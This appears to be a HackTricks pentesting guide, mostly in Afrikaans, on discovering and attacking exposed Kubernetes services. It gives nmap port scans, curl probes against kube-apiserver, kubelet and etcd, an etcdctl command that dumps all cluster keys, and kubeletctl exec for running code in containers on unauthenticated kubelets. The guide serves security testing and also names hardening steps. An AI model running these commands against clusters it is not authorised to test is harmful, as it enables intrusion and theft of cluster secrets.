# Pentesting Kubernetes Services

{{#include ../../../banners/hacktricks-training.md}}

Kubernetes gebruik verskeie **spesifieke netwerkdienste** wat jy mag vind **blootgestel aan die Internet** of in 'n **interne netwerk sodra jy een pod gekompromitteer het**.

## Finding exposed pods with OSINT

Een manier kan wees om te soek na `Identity LIKE "k8s.%.com"` in [crt.sh](https://crt.sh) om subdomeine te vind wat verband hou met kubernetes. 'n Ander manier kan wees om te soek na `"k8s.%.com"` in github en te soek na **YAML-lêers** wat die string bevat.

## How Kubernetes Exposes Services

Dit kan nuttig wees vir jou om te verstaan hoe Kubernetes **dienste publiek kan blootstel** om hulle te vind:

{{#ref}}
../exposing-services-in-kubernetes.md
{{#endref}}

## Finding Exposed pods via port scanning

Die volgende poorte mag oop wees in 'n Kubernetes-kluster:

| Port            | Process        | Description                                                            |
| --------------- | -------------- | ---------------------------------------------------------------------- |
| 443/TCP         | kube-apiserver | Kubernetes API port                                                    |
| 2379/TCP        | etcd           |                                                                        |
| 6666/TCP        | etcd           | etcd                                                                   |
| 4194/TCP        | cAdvisor       | Container metrics                                                      |
| 6443/TCP        | kube-apiserver | Kubernetes API port                                                    |
| 8443/TCP        | kube-apiserver | Minikube API port                                                      |
| 8080/TCP        | kube-apiserver | Insecure API port                                                      |
| 10250/TCP       | kubelet        | HTTPS API which allows full mode access                                |
| 10255/TCP       | kubelet        | Unauthenticated read-only HTTP port: pods, running pods and node state |
| 10256/TCP       | kube-proxy     | Kube Proxy health check server                                         |
| 9099/TCP        | calico-felix   | Health check server for Calico                                         |
| 6782-4/TCP      | weave          | Metrics and endpoints                                                  |
| 30000-32767/TCP | NodePort       | Proxy to the services                                                  |
| 44134/TCP       | Tiller         | Helm service listening                                                 |

### Nmap
```bash
nmap -n -T4 -p 443,2379,6666,4194,6443,8443,8080,10250,10255,10256,9099,6782-6784,30000-32767,44134 <pod_ipaddress>/16
```
### Kube-apiserver

Dit is die **API Kubernetes diens** waarmee die administrateurs gewoonlik kommunikeer deur die hulpmiddel **`kubectl`** te gebruik.

**Gewone poorte: 6443 en 443**, maar ook 8443 in minikube en 8080 as onveilig.
```bash
curl -k https://<IP Address>:(8|6)443/swaggerapi
curl -k https://<IP Address>:(8|6)443/healthz
curl -k https://<IP Address>:(8|6)443/api/v1
```
**Kyk na die volgende bladsy om te leer hoe om sensitiewe data te verkry en sensitiewe aksies uit te voer deur met hierdie diens te praat:**

{{#ref}}
../kubernetes-enumeration.md
{{#endref}}

### Kubelet API

Hierdie diens **loop in elke knoop van die kluster**. Dit is die diens wat die **pods** binne die **knoop** sal **beheer**. Dit praat met die **kube-apiserver**.

As jy hierdie diens blootgestel vind, het jy dalk 'n **onaangetekende RCE** gevind.

#### Kubelet API
```bash
curl -k https://<IP address>:10250/metrics
curl -k https://<IP address>:10250/pods
```
As die antwoord `Unauthorized` is, benodig dit verifikasie.

As jy knope kan lys, kan jy 'n lys van kubelets eindpunte kry met:
```bash
kubectl get nodes -o custom-columns='IP:.status.addresses[0].address,KUBELET_PORT:.status.daemonEndpoints.kubeletEndpoint.Port' | grep -v KUBELET_PORT | while IFS='' read -r node; do
ip=$(echo $node | awk '{print $1}')
port=$(echo $node | awk '{print $2}')
echo "curl -k --max-time 30 https://$ip:$port/pods"
echo "curl -k --max-time 30 https://$ip:2379/version" #Check  also for etcd
done
```
#### kubelet (Slegs lees)
```bash
curl -k https://<IP Address>:10255
http://<external-IP>:10255/pods
```
### etcd API
```bash
curl -k https://<IP address>:2379
curl -k https://<IP address>:2379/version
etcdctl --endpoints=http://<MASTER-IP>:2379 get / --prefix --keys-only
```
### Tiller
```bash
helm --host tiller-deploy.kube-system:44134 version
```
U kan hierdie diens misbruik om bevoegdhede binne Kubernetes te verhoog:

### cAdvisor

Diens nuttig om metings te versamel.
```bash
curl -k https://<IP Address>:4194
```
### NodePort

Wanneer 'n poort in al die nodes blootgestel word via 'n **NodePort**, word dieselfde poort in al die nodes geopen wat die verkeer na die verklaarde **Service** proxy. Standaard sal hierdie poort in die **reeks 30000-32767** wees. Dus kan nuwe ongekontroleerde dienste deur daardie poorte toeganklik wees.
```bash
sudo nmap -sS -p 30000-32767 <IP>
```
## Kwetsbare Misconfigurasies

### Kube-apiserver Anonieme Toegang

Anonieme toegang tot **kube-apiserver API eindpunte is nie toegelaat nie**. Maar jy kan sommige eindpunte nagaan:

![](https://www.cyberark.com/wp-content/uploads/2019/09/Kube-Pen-2-fig-5.png)

### **Kontroleer vir ETCD Anonieme Toegang**

Die ETCD stoor die kluster geheime, konfigurasie lêers en meer **sensitiewe data**. Deur **standaard** kan die ETCD **nie** **anoniem** toeganklik wees nie, maar dit is altyd goed om te kontroleer.

As die ETCD anoniem toeganklik is, moet jy dalk die **[etcdctl](https://github.com/etcd-io/etcd/blob/master/etcdctl/READMEv2.md)** **instrument** gebruik. Die volgende opdrag sal al die sleutels wat gestoor is, kry:
```bash
etcdctl --endpoints=http://<MASTER-IP>:2379 get / --prefix --keys-only
```
### **Kubelet RCE**

Die [**Kubelet dokumentasie**](https://kubernetes.io/docs/reference/command-line-tools-reference/kubelet/) verduidelik dat **anonieme toegang** tot die diens **standaard toegelaat** word:

> Stel anonieme versoeke aan die Kubelet bediener in. Versoeke wat nie deur 'n ander verifikasiemetode verwerp word nie, word as anonieme versoeke behandel. Anonieme versoeke het 'n gebruikersnaam van `system:anonymous`, en 'n groepnaam van `system:unauthenticated`

Om beter te verstaan hoe die **verifikasie en magtiging van die Kubelet API werk**, kyk na hierdie bladsy:

{{#ref}}
kubelet-authentication-and-authorization.md
{{#endref}}

Die **Kubelet** diens **API is nie gedokumenteer** nie, maar die bronnekode kan hier gevind word en om die blootgestelde eindpunte te vind is so maklik soos **om te hardloop**:
```bash
curl -s https://raw.githubusercontent.com/kubernetes/kubernetes/master/pkg/kubelet/server/server.go | grep 'Path("/'

Path("/pods").
Path("/run")
Path("/exec")
Path("/attach")
Path("/portForward")
Path("/containerLogs")
Path("/runningpods/").
```
Almal klink interessant.

Jy kan die [**Kubeletctl**](https://github.com/cyberark/kubeletctl) hulpmiddel gebruik om met Kubelets en hul eindpunte te kommunikeer.

#### /pods

Hierdie eindpunt lys pods en hul houers:
```bash
kubeletctl pods
```
#### /exec

Hierdie eindpunt maak dit baie maklik om kode binne enige houer uit te voer:
```bash
kubeletctl exec [command]
```
> [!NOTE]
> Om hierdie aanval te vermy, moet die _**kubelet**_ diens met `--anonymous-auth false` gedraai word en die diens moet op netwerkvlak gesegregeer word.

### **Kontroleer Kubelet (Lees Slegs Poort) Inligting Blootstelling**

Wanneer 'n **kubelet lees-slegs poort** blootgestel word, word dit moontlik vir ongeoorloofde partye om inligting van die API te verkry. Die blootstelling van hierdie poort kan lei tot die bekendmaking van verskeie **kluster konfigurasie-elemente**. Alhoewel die inligting, insluitend **pod name, plekke van interne lêers, en ander konfigurasies**, dalk nie krities is nie, stel die blootstelling steeds 'n sekuriteitsrisiko voor en moet vermy word.

'n Voorbeeld van hoe hierdie kwesbaarheid uitgebuit kan word, behels 'n afstandaanvaller wat toegang tot 'n spesifieke URL verkry. Deur na `http://<external-IP>:10255/pods` te navigeer, kan die aanvaller moontlik sensitiewe inligting van die kubelet verkry:

![https://www.cyberark.com/wp-content/uploads/2019/09/KUbe-Pen-2-fig-6.png](https://www.cyberark.com/wp-content/uploads/2019/09/KUbe-Pen-2-fig-6.png)

## Verwysings

{{#ref}}
https://www.cyberark.com/resources/threat-research-blog/kubernetes-pentest-methodology-part-2
{{#endref}}

{{#ref}}
https://labs.f-secure.com/blog/attacking-kubernetes-through-kubelet
{{#endref}}

{{#include ../../../banners/hacktricks-training.md}}
